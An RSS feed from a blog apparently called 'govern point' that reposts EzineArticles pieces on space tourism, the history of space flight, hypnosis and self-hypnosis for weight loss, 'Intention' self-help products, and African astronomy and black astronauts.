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	<title>govern point &#187; Faith</title>
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	<link>http://governpoint.org</link>
	<description>finding faith and the future</description>
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		<title>Think Space and Bill Gates</title>
		<link>http://governpoint.org/2010/09/06/think-space-and-bill-gates/</link>
		<comments>http://governpoint.org/2010/09/06/think-space-and-bill-gates/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 01:20:42 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/09/06/think-space-and-bill-gates/</guid>
		<description><![CDATA[Only by involving private enterprise to make commercial space travel possible can a portion of the human race be moved permanently off the planet to ensure the survival of the human species in the event of a global disaster on Earth. Space tourists such as Charles Simonyi, Stephen Hawking and, possibly, Bill Gates, are helping to make this dream a reality.]]></description>
			<content:encoded><![CDATA[<p>Space Adventures, which has arranged orbital space flights for &#8220;space tourists&#8221; since 2001, is the only firm to date which brokers space trips for amateur astronauts, including Charles Simonyi and four others who have signed on for the space jaunts. As stated in an earlier article, Simonyi paid an estimated $20 million to $25 million for a 13-day trip to the international space station, with Space Adventures and Russia&#8217;s Federal Space Agency teaming up to make the trip possible.</p>
<p>Russia&#8217;s Interfax News Agency reports that Fyodor Yurchikhin, commander of the expedition, and Charles Simonyi discussed the possibility that billionaire Bill Gates is considering taking his own space trip. Stacy Tearne, spokesperson for Space Adventures, said that Gates had not yet contacted the company about the possibility of an orbital space flight, but the company already has the next space adventured in mind, and an announcement about the next client could be coming soon.</p>
<p>Internationally renowned physicist Stephen Hawking, known for his ground-breaking theories about the origin of the universe and black holes, has also set a goal of taking a rocket trip to the verge of outer space, possibly on a craft being developed by Virgin Galactic, due to be in service by about 2009. A zero-gravity airplane flight in April 2007, conducted by Zero Gravity, during which Hawking experienced the feeling of weightlessness felt by orbiting astronauts was a trial run for a possible later flight to space. Hawking&#8217;s zero-gravity trip was slightly modified to allow for his frail condition, with shorter periods of weightlessness and a somewhat easier pullout from the planes descent. Four doctors and two nurses monitored vital signs throughout the flight, and life-saving equipment was on board. The zero-gravity flight was a success, with Hawking negotiating to take eight turns instead of the scheduled six and performing gymnastic turns in the air.</p>
<p>Hawking expressed hope that his spaceflight would promote commercial space travel, which he believes to be a necessary next step in mankind&#8217;s future. He has often expressed the opinion that &#8220;life on earth is at an ever-increasing risk of being wiped out by a disaster such as sudden global warming, nuclear war, a genetically engineered virus or other danger.&#8221; Only by involving private enterprise to make commercial space travel possible can a portion of the human race be moved permanently off the planet to ensure the survival of the human species in the event of a global disaster on Earth. Space tourists such as Charles Simonyi, Stephen Hawking and, possibly, Bill Gates, are helping to make this dream a reality.</p>
<p>Nancy Houser, author of &#8220;A Mars Odyssey,&#8221; is a freelance writer and illustrator of 30 years. Living in Central Nebraska running a dog rescue, she fills her leisurely time with 13 grandchildren and watching the skies.</p>
<p>Author: <a href="http://EzineArticles.com/?expert=Nancy_Houser">Nancy Houser</a><br />Article Source: <a href="http://ezinearticles.com/?Think-Space-and-Bill-Gates&amp;id=620112">EzineArticles.com</a></p>
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		<title>Space Search &#8211; Man&#8217;s Fascination With Outer Space</title>
		<link>http://governpoint.org/2010/09/06/space-search-mans-fascination-with-outer-space/</link>
		<comments>http://governpoint.org/2010/09/06/space-search-mans-fascination-with-outer-space/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 01:20:41 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/09/06/space-search-mans-fascination-with-outer-space/</guid>
		<description><![CDATA[The idea of  Space Search is vitally important, for space search has fascinated humans for as long as there has been understanding about outer space.]]></description>
			<content:encoded><![CDATA[<p>The idea of  Space Search is vitally important, for space search has fascinated humans for as long as there has been understanding about outer space.</p>
<p>For many years humans believed the earth was flat and if they went too far to the edge they would fall off. But even with this dangerous idea, a space search was never far from the minds of those more adventurous types.</p>
<p>Grecian and Aztec explorers used to describe the earth as a flat surface and it was Eratosthenes, a Greek mathematician who calculated the Earth&#8217;s diameter by a simple technique of using the shadows cast by the sun. But people were intrigued as to what lay beyond the earth and desperately wanted to find ways to go into space, search for other planets, and possibly even other forms of life.</p>
<p>For thousands of years the questions of space search continued to dominate all who were fascinated by what else was contained in the universe. Astrologers and astronomers tried to answer questions, but, for the most part, space search remained a big, black hole until the 20th century. It was in the 20th century that astronomers and scientists begin to look scientifically at what was out there, and at the possibility of a space search expedition. And, in April 1961, Yuri Gagarin did what so many others had wanted to do before him, and became the first man into space.</p>
<p>Gagarin&#8217;s triumph was the culmination of a battle between the USA and Russia &#8211; each country wanted to be the first to put a man into space and thus begin an age of space search. The Americans had Alan Shepherd waiting in the wings to blast off into outer space and had little or no idea that the Russians were ready with Gagarin.  <br />Shepherd became the second man into space and to start a space search just a few weeks later, when he was shot up for about 15 minutes.</p>
<p>Since then space search has been a constant battle between the two countries with the astronauts of the USA and cosmonauts of Russia striving to explore more, to find more and to know more about space.  <br />Space searches have hot some major setbacks in recent years, most notably with the Challenger in 1986, which was destroyed just a couple of minutes into its flight, and, more recently, with the Columbia in 2003 which broke up on re-entry to the earth&#8217;s atmosphere, killing all on board. Space flights did not resume until 2005, with careful attention being paid to them around the world.  <br />The International Space Station remains in use, with a skeleton staff on board.  <br />Until man has conquered every corner of the known universe, which would appear to be an unlikely feat, it seems humans will always be obsessed with space search. It is the fear of the unknown as well as the possibility of discovering other life which draws us ever closer. Right now, Richard Branson is preparing to take the first space tourism flights into the atmosphere, and it is unclear where the fascination will stop.</p>
<p><b>Kerry Bradburn</b> is a marketing consultant who writes articles for popular wesites such as <b>Space Search [http://www.space-search.co.uk]</b>.</p>
<p>[http://www.space-search.co.uk]</p>
<p>Author: <a href="http://EzineArticles.com/?expert=Kerry_Bradburn">Kerry Bradburn</a><br />Article Source: <a href="http://ezinearticles.com/?Space-Search---Mans-Fascination-With-Outer-Space&amp;id=267819">EzineArticles.com</a></p>
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		<title>Hypnotize Me So I Can Eat Twinkies and Lose Weight!</title>
		<link>http://governpoint.org/2010/09/06/hypnotize-me-so-i-can-eat-twinkies-and-lose-weight/</link>
		<comments>http://governpoint.org/2010/09/06/hypnotize-me-so-i-can-eat-twinkies-and-lose-weight/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 00:36:35 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/09/06/hypnotize-me-so-i-can-eat-twinkies-and-lose-weight/</guid>
		<description><![CDATA[Is it possible to eat lots of junkfood and still lose weight? I've never tried it personally nor have I ever known anyone who tried it but I think it's pretty fair to say that based on all known research it's unlikely that a person could eat junkfood all day and still lose weight; but that's exactly what some of my clients want to do. They want to use hypnosis to lose weight AND eat all the junkfood they want. That is because they do not understand how hypnosis works.]]></description>
			<content:encoded><![CDATA[<p>Is it possible to eat lots of junkfood and still lose weight? I&#8217;ve never tried it personally nor have I ever known anyone who tried it but I think it&#8217;s pretty fair to say that based on all known research it&#8217;s unlikely that a person could eat junkfood all day and still lose weight; but that&#8217;s exactly what some of my clients want to do. They want to use hypnosis to lose weight AND eat all the junkfood they want. That is because they do not understand how hypnosis works.</p>
<p>Hypnosis can help people do a lot of things but it cannot make you lose weight unless you incorporate a healthy lifestyle. In fact; hypnosis for weight loss is all about making positive changes to support a healthy lifestyle. It&#8217;s about breaking old associations between junky foods and overeating and eating for health and vitality! It&#8217;s about getting a visual mental target of where you want your life and health to go and then taking the steps to get there.</p>
<p>The old adage: You are what you eat really rings true with hypnosis too. What hypnosis can do is help a person align their subconscious mind with their conscious goals. It can help the subconscious mind create healthy habits and ignore commercials and other people&#8217;s ideas of what is good to eat and what is not. Hypnosis for healthy weight-loss helps the subconscious mind to care for the body by focusing on eating for nutrition and then stopping.</p>
<p>Have you been hypnotized by tv commercials? Can hypnosis happen that quickly and that easily? Oh yes it can! Food commercials are hypnotic. I bet you can think of a few commercials about food or candy or soda already. It&#8217;s the Real Thing! (Pepsi), The Uncola (7-up), Have it your way! (Burger King) Breakfast of Champions (Wheaties) a visual ad of a hero with a white mustache (got milk?). You see the commercials are taking up space in your brain and maybe even getting you to act out their desires which is for you to buy their product. Food advertisers purposefully incorporate catchy slogans and specific eye cues to get thru to your subconscious mind more easily so you will take action if not now, later.</p>
<p>There&#8217;s a new fast food commercial on tv that demonstrates how powerful suggestion via commercials is. In this commercial two boys are in the living room &#8220;watching&#8221; tv; their mother walks in asking them to do a chore or something like that only to see a tv commercial about an ice cream item at a fast food restaurant. In moments Mom is telling the kids to get in the car so they can go get this ice cream item; the one boy turns to the other and compliments him on how well the plan worked. The older boy says (paraphrased) yes, and for dad I have a (burger) commercial. The two boys understand the power of the tv ad and how they will be able to get their parents to buy them these food items which are not all that healthy. And to top it off, the one boy is already overweight!</p>
<p>Please understand that hypnosis for healthy weight loss is not meant to deny you small amounts of tasty treats from time to time &#8211; that would just be cruel. Hypnosis for healthy weight loss makes it so you can eat a tiny amount of any particular junkfood and be satisfied. It helps you eat for nutrition and then stop. It breaks associations you&#8217;ve created between emotions and foods so you can eat consciously and NOT for emotion; breaking the associations between the scent of cinnamon rolls and your Grandma&#8217;s kitchen, or peanut butter cookies and the fun of your high school bake sale, popcorn and the romance of the movie theatre, or whatever your &#8220;junkfood of choice&#8221; association might be. Hypnosis for healthy weight loss helps you plan for a healthy, vital life instead of being subject to other people&#8217;s habits, thoughts and commercials.</p>
<p>Patricia &#8220;Trish&#8221; Poole, CH, EFT-CC, Reiki Master Teacher. I provide a powerful combination of mind-body-spirit services and classes as well as recorded guided meditations for positive change and healing. Some of the classes I offer are on hypnosis, reiki and others are on EFT and more. I&#8217;m available for private sessions in person and remotely. I love helping people reach their goals and enhance their healing.</p>
<p>Twinkle like a star and be the gift that you are for there is only one YOU here with us on the planet!</p>
<p><a target="_new" href="http://www.patriciampoole.com">http://www.patriciampoole.com</a></p>
<p>Author: <a href="http://EzineArticles.com/?expert=Patricia_Poole">Patricia Poole</a><br />Article Source: <a href="http://ezinearticles.com/?Hypnotize-Me-So-I-Can-Eat-Twinkies-and-Lose-Weight!&amp;id=3283185">EzineArticles.com</a></p>
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		<title>Creating Intention</title>
		<link>http://governpoint.org/2010/09/02/creating-intention/</link>
		<comments>http://governpoint.org/2010/09/02/creating-intention/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 01:20:09 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/09/02/creating-intention/</guid>
		<description><![CDATA[Can anybody create intention? Or is this just the domain of a chosen few? Find out here...]]></description>
			<content:encoded><![CDATA[<p>Can anybody create Intention or is this the domain for a chosen few? I believe anyone can create Intention &#8211; and like anything, some people will be better at this than others. People who are used to meditation for example can focus much better than people who are not used to meditation. I don&#8217;t think this is a talent restricted to a very few. I think we are all capable of great things.</p>
<p>On the whole we tend to underestimate the amount of chaos we create in our lives, and at the same time underestimate the amount of peace we can create ourselves. Setting Intentions, or setting the direction you want your life, your day, your hour to go, is a way of creating that peace and manifesting your destiny.</p>
<p>What you need to set an Intention is focus. It is all very fine and well to set the Intention &#8220;my life is full of abundance&#8221;. But if your attention wanders and you start thinking about all the things you don&#8217;t have instead of all the things you do &#8211; then you are not going to create abundance but rather an atmosphere of &#8220;need and want&#8221;.</p>
<p>Intentional products help you set your Intentions and help push people in the direction they already want to go &#8230; which is in a positive direction. They help remind you to focus on what your Intention is, what your goal is. They serve as a real time reminder of the choices you make in the world &#8211; and the intent to make positive choices to enhance your destiny.</p>
<p>Article prepared by Alison Prentice RN BScN., Senior Medical Writer, and now President of Creo Mundi &#8211; a company that produces Intentional products. Alison has over 24 years combined experience in nursing and medical writing. <a target="_new" href="http://www.creomundi.com">http://www.creomundi.com</a></p>
<p>Author: <a href="http://EzineArticles.com/?expert=Alison_Prentice">Alison Prentice</a><br />Article Source: <a href="http://ezinearticles.com/?Creating-Intention&amp;id=1568803">EzineArticles.com</a></p>
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		<title>Self Hypnosis For Weight Loss</title>
		<link>http://governpoint.org/2010/08/30/self-hypnosis-for-weight-loss/</link>
		<comments>http://governpoint.org/2010/08/30/self-hypnosis-for-weight-loss/#comments</comments>
		<pubDate>Tue, 31 Aug 2010 00:23:59 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/30/self-hypnosis-for-weight-loss/</guid>
		<description><![CDATA[Hypnosis has long been touted as a way to influence behaviors, both positive and negative. If considering hypnosis, you might think about going to a professional first, but have one primary goal when doing this. Ask the professional if he or she can teach you the art of self-hypnosis.]]></description>
			<content:encoded><![CDATA[<p>A hypnotherapist that really cares about results rather than their bank account, will be more than happy, in fact, will consider it absolutely necessary that you learn the art of self-hypnosis.</p>
<p>So, once you are able to enter a self-hypnotic state, it is important that you use positive scripts in order to change or modify behaviors in a positive way. Dieting is a negative approach, as most people, regardless of their feeling the need to diet, absolutely hate it. Hypnosis, on the other hand, is a much more positive approach and one that deserves an honest attempt. It may take awhile to learn the process, but once learned it becomes easier and easier and can be well-worth the effort it has taken. Start with planned scripts and use them faithfully. It won&#8217;t be long until you are able to do it without scripts, but while learning, write down those positive statements that you know will help you. There are a number of factors that contribute to weight loss, many of which you are probably already fully aware of.</p>
<p>The first step will be to remind yourself to check in with your stomach before eating. Tell yourself that each time before you eat you will look down and ask your stomach if it is actually hungry. If you are hungry, you will ask what you can eat that is healthy and that will make you feel better and you will follow up on that suggestion. If your stomach is <i>not</i> hungry, you will find something else to do. Choose an exercise that&#8217;s easy to accomplish at home because you don&#8217;t want to run out to the gym every time your stomach tells you that you are not hungry. Walk on the treadmill or do some sit-ups instead. Build this suggestion into your session of self hypnosis. Or, you can build in the suggestion to dust or vacuum or dance. It is all up to what works for you and you can vary it with each session once you get the knack.</p>
<p>The second step will be to adjust your metabolism. Just as you can train your body into a state of self-hypnosis, that same skill can train your body to increase your metabolism in order to lose weight. Picture yourself on a swing. You start out slowly swinging, back and forth. The freedom is wonderful, the floating feeling is fabulous and you can hardly even feel the seat as you swing higher and higher. Concentrate on the upswing and as you do so, think about how the upswing represents your metabolism. Each time you are on the upswing, think about your metabolism increasing. You want to tell your subconscious mind to <i>safely </i>increase your metabolism to a level that will allow you to attain the slim, healthy body that you want. As with all suggestions, you will repeat this a number of times-telling your subconscious mind to set your metabolism to the safest level in order to burn fat and calories while losing weight to become the healthy individual that you wish to be.</p>
<p>Now that your metabolism has increased to more healthy levels, your body needs water to wash out the toxins and to help to flush out excess water-weight that you carry around. You should suggest to yourself that your body crave water-wonderful, life-giving, cool, clear water. Tell yourself how water will flush the cellulite and excess fat out of your system, leading to a much healthier and happier you. Make the suggestion that you know that each time you go to the bathroom that the water is working to eliminate that excess weight and cellulite. Tell yourself how good water tastes and the healthy benefits associated with water and encourage yourself to drink a certain amount of water each day. You do not want to endlessly crave water, so be careful how this suggestion is worded and implemented. You just want your body to crave a certain amount of water each day and you want your subconscious mind to know how healthy it is to drink water.</p>
<p>As you continue to use self-hypnosis, use each session to learn to breathe deeply and to be fully aware of your breathing. Then, use that breathing to expel those things that are negative in your life. Many people will find that something in their life triggers specific behaviors and using your breath to expel these negative aspects during your sessions will help you to succeed. At the same time, inhaling can be a way to absorb positive vibes and energy that will enable you to be even more successful.</p>
<p>Read about healthy weight loss and incorporate positive suggestions into your sessions. In this matter you can train your subconscious mind to take care of your body. You can adjust your metabolism and hormone levels. You can encourage healthy, daily behaviors that will lead to consistent but safe weight loss. Your subconscious will tell you that each time you make a healthy choice that you will feel a wonderful sense of pride and accomplishment. And you can maintain your healthy weight. You can accomplish each and every part of this by learning the art of self-hypnosis.</p>
<p>Whether you start with a hypnosis professional or obtain training through an online program or through a CD ordered through the mail, the results will be the same; positive behavior modification that will lead to safe weight loss and maintenance. It certainly can&#8217;t hurt to try, unlike many of the weight loss remedies and drugs on the market. It also won&#8217;t make a huge dent in your wallet or pocketbook like those so-called wonder drugs will. And it is something that you can do for yourself that doesn&#8217;t even require you to leave the house. Give yourself some time to learn the process and then allow plenty of time to accomplish your goals. And remember to include the suggestion to feel that euphoric sense of accomplishment for each healthy decision you make, for each glass of water you drink and for each pound of fat that slowly dissolves and disappears. Good luck in your weight loss endeavors!</p>
<p>Along with maintaining his health, Joseph enjoys working in his flower and vegetable gardens. Garden Harvest Supply is one of his favorite gardening stores which offer <a target="_new" href="http://www.gardenharvestsupply.com/category/potted-begonia-plants-for-sale">begonia plants</a> and many other colorful <a target="_new" href="http://www.gardenharvestsupply.com/category/buy-potted-annual-flowering-plants">annual flowering plants</a>.</p>
<p>Author: <a href="http://EzineArticles.com/?expert=Joseph_Stutzman">Joseph Stutzman</a><br />Article Source: <a href="http://ezinearticles.com/?Self-Hypnosis-For-Weight-Loss&amp;id=4493276">EzineArticles.com</a></p>
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		<title>The Secret Power of Intention</title>
		<link>http://governpoint.org/2010/08/28/the-secret-power-of-intention/</link>
		<comments>http://governpoint.org/2010/08/28/the-secret-power-of-intention/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 01:20:06 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/28/the-secret-power-of-intention/</guid>
		<description><![CDATA[Discover the Secret Power of Intention! Don't know the purpose of Intentions? How they work? Read this article to find out how to get the Secret Power of Intention working for you!]]></description>
			<content:encoded><![CDATA[<p>To understand the secret power of Intention, let&#8217;s first look at the purpose.</p>
<p>The purpose of setting an Intention is similar to setting a goal &#8211; you are creating for yourself the vision of your day, your meeting, your career path, your relationships. It is setting out an anticipated outcome that you wish to occur or the direction that you wish to travel. I liken it to projecting the energy you want to attract around you.</p>
<p>Intention energy is an energy that connects thoughts and emotions or feelings &#8211; just thinking about something long and hard will not have it materialize in your life. It especially won&#8217;t materialize if you think you want it but believe you&#8217;re not good enough to have it-whatever &#8220;it&#8221; is! Your thoughts and emotions have to be consistent with each other in your Intention.</p>
<p>The final component of Intention is the physical activity you take, and this must also be consistent with the thoughts and emotions you have expressed. Expressing a particular desire or course of action is not enough without consistent action steps in line with that Intent. To say you want a loving life, and then be mean-spirited to a neighbor, a co-worker, or some kid working in a store is not going to reflect love back into your life. To say that you are creating something with love and compassion, and then yell at someone for not &#8220;getting&#8221; it is not going to create a successful outcome!</p>
<p>Your actions must be in line with your thoughts and desires.</p>
<p>When that happens &#8211; magic happens. When your thoughts, your emotions, and your actions all align, it is like being on some magic carpet ride. It is not that all of a sudden everything you desire suddenly materializes out of nowhere. I wish that were true! What happens is that in quick order opportunities come into your life that help make your Intention manifest.</p>
<p>The Secret Power of Intention, is how it calls upon the power of the universe to use on your behalf. It shifts your attitude and perceptions even ever so slightly so that you are &#8220;awakened&#8221; to the opportunities around you. It is as though you have created some magnetic shift that brings into your sphere people and events that know how to &#8220;make happen&#8221; your Intention and are willing to work with you to see it manifest. And it is like a rocket booster for maintaining positive energy and focus!</p>
<p>That to me is the secret power of Intention. And it is why at Creo Mundi we have on the inside back of all of our shirts, &#8220;Think it. Feel it. Create it.&#8221; as a constant reminder for people as to what Intention is about.</p>
<p>Article prepared by Alison Prentice RN BScN., Senior Medical Writer, and now President of Creo Mundi &#8211; a company that produces Intentional products. Alison has over 24 years combined experience in nursing and medical writing. <a target="_new" href="http://www.creomundi.com">http://www.creomundi.com</a></p>
<p>Author: <a href="http://EzineArticles.com/?expert=Alison_Prentice">Alison Prentice</a><br />Article Source: <a href="http://ezinearticles.com/?The-Secret-Power-of-Intention&amp;id=1566000">EzineArticles.com</a></p>
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		<title>The Black Space Experience</title>
		<link>http://governpoint.org/2010/08/23/the-black-space-experience/</link>
		<comments>http://governpoint.org/2010/08/23/the-black-space-experience/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 23:40:42 +0000</pubDate>
		<dc:creator>David K.</dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/23/the-black-space-experience/</guid>
		<description><![CDATA[While black space exploration is relatively new, the roots of the black space experience date back some 8,500 years.  The history of this science is rich and growing.  The stories of the pioneers involved are courageous and inspirational for people of all races, ages, genders, and nationalities.]]></description>
			<content:encoded><![CDATA[<p>The roots of the black space experience date back some 8,500 years when the first lunar calendar was crafted from a bone.  Like ancient peoples elsewhere in the world, Africans (sub-Saharan black peoples) &#8220;shared the same inspiration and awe of the stars&#8221; and &#8220;struggled to make sense of it [through] creativity and intelligence&#8221; <b>[1]</b> patiently taking &#8220;countless generations to watch, justify and map the heavens&#8221;<b>[2]</b> and define their relationship with them.  According to Dr. Thebe Medupe, a prominent astronomer at the University of Cape Town and the South African Astronomical Observatory, &#8220;[Africans] shaped constellations out of stellar patterns and came up with stories about them, &#8230;constructed calendars to organize their lives and even erected stone alignments&#8230; to follow the sun&#8217;s &#8216;path&#8217; throughout the year.&#8221;<b>[3]</b>  It was for this reason that Bernard Harris, Jr., the first black astronaut to walk in space stated, &#8220;When we look at history itself, you realize that astronomy &#8211; the study of the stars &#8211; that whole origin&#8230; [was] being done by people from Africa.  And now I get to fly amongst those same stars&#8221; when emphasizing the importance of knowing and understanding history &#8211; &#8220;If you don&#8217;t know where you are and where you came from, you&#8217;ll never know where you are going.&#8221;<b>[4]</b></p>
<p>African societies dating back to the ancient times relied on &#8220;the stars to predict the likelihood of rain, so they could prepare the land&#8221;<b>[5]</b> for planting, for migration (e.g. the Bozo people of Mali &#8220;migrate along the delta of the Niger river when the Pleiades transit overhead and begin their fishing season when the Pleiades leave the night sky&#8221;<b>[6]</b>) and navigation as well as for determining points in time, leading to the construction of megalith (large stone) observatories and the development of lunar-based calendars, all of which were critical since for them, &#8220;knowledge about the movement of the stars [was] a matter of life and death.&#8221;<b>[7]</b></p>
<p>Accordingly the Moon and the stars had a special place in African societies.  In the Democratic Republic of Congo (DRC) &#8220;the Milky Way is called &#8216;God&#8217;s clock&#8217; [since] it is orientated east-west during the wet season and&#8230; north-south during the middle of the dry season.<b>[8]</b> At the same time, in &#8220;central Nigeria&#8230; a strong correlation [is] observed between the tilt of the points on the crescent moon and rainfall.  As points tilt to the right, dramatic increases in rain[fall occur and] as points tilt to the left, dramatic decreases in rainfall [occur].<b>[9]</b></p>
<p>Two famous African megaliths that made use of astronomy are Nabta, built between 5500 B.C. and 3500 B.C. by Central African nomads in southern Egypt near the modern-day border with Sudan and Namoratunga II, which was erected in 300 B.C. (aligned to the 7 stars of the Borana calendar &#8211; Triangulum, Pleiades, Aldebarran, Belletrix, Orion, Saiph, and Sirius)<b>[10]</b> and stands near Kenya&#8217;s Lake Turkana.  Based on archeological data, Nabta consisting of &#8220;stones aligned with the different rising positions of the Sun&#8230;  (caused by the Earth&#8217;s rotation) [used] to determine the seasons&#8221;<b>[11]</b> is perhaps the oldest astronomical alignment in the world, 1,000 years older than Stonehenge.  At the same time archeological finds indicate that the Mursi of Ethiopia and Kushites and Bambara of Sudan were also influenced by and &#8220;interested in horizon and zenith (sunrise and sunset) events&#8221;<b>[12]</b> as were the peoples inhabiting Benin, Togo, and Zimbabwe.</p>
<p>In Benin and Togo, &#8220;the Batamalimba people designed their houses such that their crossbeams [were] aligned to the equinox sunrise and sunset&#8221; while the Karanga people constructed &#8220;a chevron pattern bisected by the solstice Sun&#8221; in the Great Zimbabwe stone city that was built around A.D. 400 and completed about A.D. 1350 to mark &#8220;important astronomical seasonal events.&#8221;<b>[13]</b>  In addition, the Pyramids of Mero&euml; built in Kush (now part of Sudan) and the more than 1600 stone circles discovered to date in the lands comprising the Gambia, Senegal and Togo are likely further examples of African archaeoastronomy.</p>
<p>In conjunction with the construction of megaliths, African societies ranging from southern Africa to sub-Saharan northern Africa, also developed calendars based on the lunar cycle.  The oldest such calendar, the Ishango bone, dating back to 6500 B.C. that &#8220;was found at the site of a fishing village on the shores of Lake Edward which borders the [Democratic Republic of] Congo (DRC) and Uganda&#8221;<b>[14]</b> and is believed to have been used for predicting tidal phenomena.  At the same time, another early lunar calendar based on a series of concentric circles ranging in number from 29 to 30 was found in &#8220;certain caves in Tanzania.&#8221;<b>[15]</b></p>
<p>Even today several African peoples use lunar calendars.  Examples are the Borana of southern Ethiopia and northwest Kenya, the Mursi of Ethiopia, the Ngas of Nigeria, and the Dogon of Mali, each of whom either adds an extra month consisting of 11 days at the end of the year or a 33-day month at the end of each third year to compensate for the difference that arises from the 365.25 day solar year (period of time it takes the Earth to complete one revolution around the Sun) in which there are 12 lunar cycles (period of time ranging from the first rise of the new moon to the final setting of the full moon) consisting of 29.5 days each.  The Ngas use the term <i>&#8220;bergu&#8221;</i> for each 29.5-day month and <i>&#8220;gamwe&#8221;</i> to describe the final 11 days that follow the 12th and last <i>&#8220;bergu&#8221;</i> of each year.  In addition, some peoples in South Africa &#8220;still use the same word for month and moon&#8221;<b>[16]</b> because of their connotative relationship.</p>
<p>Because of their interest in the heavens and their attempt to create intelligible frameworks around them, Africans also developed myths and legends surrounding celestial bodies and constellations.  &#8220;The Pleiades and Sirius figure largely in the star lore of the peoples of Mali and Ethiopia&#8230; The Milky Way&#8230; and Venus&#8230; are focused on all over Africa, while the Southern Cross is important to the Zulu, Sotho, and Tswana [peoples] of southern Africa and&#8230; recognized as a navigation constellation.&#8221;<b>[17]</b></p>
<p>Examples of these African myths and legends are as follows:  The Bushmen who inhabit southern Africa &#8220;believe the Milky Way was made by a Bushman girl who wished for a little light and threw wood ashes into the sky [creating] different colored stars by throwing different colored burning roots into the air.  [There are also two other stories.  One involves] two stars of the Southern Cross, Alpha and Gamma Crucis&#8230;  The creator had two sons called Khanka and Khoma.  One day the two boys went hunting with a family of lions, but the treacherous lions ate the boys.  In his anger and despair, the creator made fire and hid it in a meteor disguised as an eland&#8217;s horn.  The creator called down the meteor and it hit [and killed] the lion.  [Afterwards the creator&#8217;s] heart was calmed and there was fire for everyone.  Khanka and Khoma are Alpha Crucis and Gamma Crucis. [The next is about Pleiades and the three stars of the Orion Belt, in which] &#8230;seven daughters of the sky god (Pleiades) were married to a hunter.  One evening [he] went hunting [for] zebras (the three stars of Orion&#8217;s Belt).  He was such a bad hunter that his arrow missed, and because he was afraid of the nearby lion (Betelgeuse, another star) he left the arrow where it lay (now known as Orion&#8217;s sword).  [Afterwards, being] &#8230;too embarrassed to [return] home to his wives because he did not have meat to bring to them, &#8230;he [stayed] out&#8230; in the cold as the star called Aldebaran.&#8221;<b>[18]</b></p>
<p>In addition to merely studying astronomy, developing lunar calendars, and creating myths and legends about the heavens, Africans also exchanged information and ideas with Islamic scientists following the establishment of protected trade routes in the areas encompassing Mali, Mauritania and Senegal.  The peak of this exchange occurred during the rule of the Ghana, Mali and Songhay empires (c. A.D. 1200-A.D. 1591) when Islamic traders traveled to African cities in search of gold, the economic standard of their lands after Iranian scholar, Ibn al-Faqih al-Hamadhani wrote in c. A.D. 900:</p>
<p><i>It is said that beyond the source of the Nile is darkness and beyond the darkness are waters which make the gold grow&#8230; to the town of Ghana is a three-months&#8217; journey through deserts.  In the country of Ghana gold grows in the sand as carrots do, and is plucked at sunrise.</i><b>[19]</b></p>
<p>During the height of this trans-Saharan trade, Islamic scholars established learning centers and introduced the written language, resulting in the creation of thousands of African books pertaining to astronomy and science.</p>
<p>However, it was not until late in the 20th century, some two decades after the United States and the now defunct Soviet Union (USSR) had begun their manned space programs, that descendents of these early African astronomers actually made it into space, much in part due to the efforts of Luke Weathers (b. A.D. 1920), a black World War II veteran with a degree in science and biology and others who had &#8220;pressured the U.S. military to train a corps of black pilots at Tuskegee Institute in Alabama&#8230; to prove that black Americans&#8230; could handle the most challenging&#8230; jobs.&#8221;<b>[20]</b></p>
<p>This led to June A.D. 1967 when another pilot, <b>Major Robert H. Lawrence, Jr.</b> (A.D. 1935-A.D. 1967) with over 2,500 flight hours behind him, successfully completed the Air Force&#8217;s Flight Test Pilot Training School at Edwards Air Force Base in California and was named the first African-American astronaut.  &#8220;Though he never made it into space&#8221;<b>[21]</b> dying on December 8th when the F-104 Starfighter piloted by a trainee whom he was instructing crashed, Major Lawrence had participated in the Air Force&#8217;s Manned Orbiting Laboratory (MOL) Program, a project that &#8220;would eventually lead to today&#8217;s International Space Station.&#8221;<b>[22]</b></p>
<p>Despite the setback, blacks were not going to be denied their place in space.  Following the success of the Civil Rights movement, new opportunities emerged much in part due to improved education and equal opportunity chances.  As a result greater numbers of blacks enrolled and were accepted into America&#8217;s space program.</p>
<p>History was made on September 18, A.D. 1980 when <b>Arnaldo Tamayo M&eacute;ndez</b> (b. A.D. 1942), a Cuban of black-hispanic heritage was launched into space as part of the Soyuz 38 crew.  &#8220;After docking with Salyut 6, Tamayo (a Cuban Air Force pilot) and [his partner Yuri] Romanenko (b. A.D. 1944) conducted experiments in an attempt to find [the cause] of space sickness, and&#8230; a cure.&#8221;<b>[23]</b>  He spent 188 hours and 43 minutes in space before returning to Earth on September 26, A.D. 1980.</p>
<p>This was followed by the August 30, A.D. 1983 launch of <b>Guion &#8220;Guy&#8221; Bluford</b> (b. A.D. 1942), a U.S. Air Force Colonel who had majored in aerospace engineering and minored in laser physics, aboard the space shuttle <i>Challenger</i> on the STS-8 mission which lasted 145 hours.  Upon entering space during the worlds&#8217; first night launch, Guy Bluford became the first African-American astronaut to make the trip.</p>
